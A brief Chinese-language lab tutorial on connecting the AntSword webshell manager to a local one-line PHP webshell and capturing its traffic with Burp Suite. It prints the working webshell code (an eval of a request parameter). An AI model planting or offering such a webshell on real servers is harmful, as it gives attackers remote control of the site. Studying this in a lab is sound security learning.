中国蚁剑的应用

一. 使用蚁剑连接木马

1.创建一个php文件

<? php eval($_REQUEST["ant"]); ?>，以生成木马

2.将写好的php文件放入网站目录中

 然后启动phpstudy 打开Apache和Mysql

3.打开蚁剑，添加数据

url为http://127.0.0.1/shell.php

连接密码为木马中传递的参数名（attack）

测试连接 连接成功后我们就可以点进去对文件进行增删改查了

二.bp抓包 

找到代理设置

选择手动

确保和bp代理监听器的设置一样

输入url后测试连接 

连接成功后打开bp开始抓包

打开蚁剑

再点击测试连接，这时候bp就可以抓到包了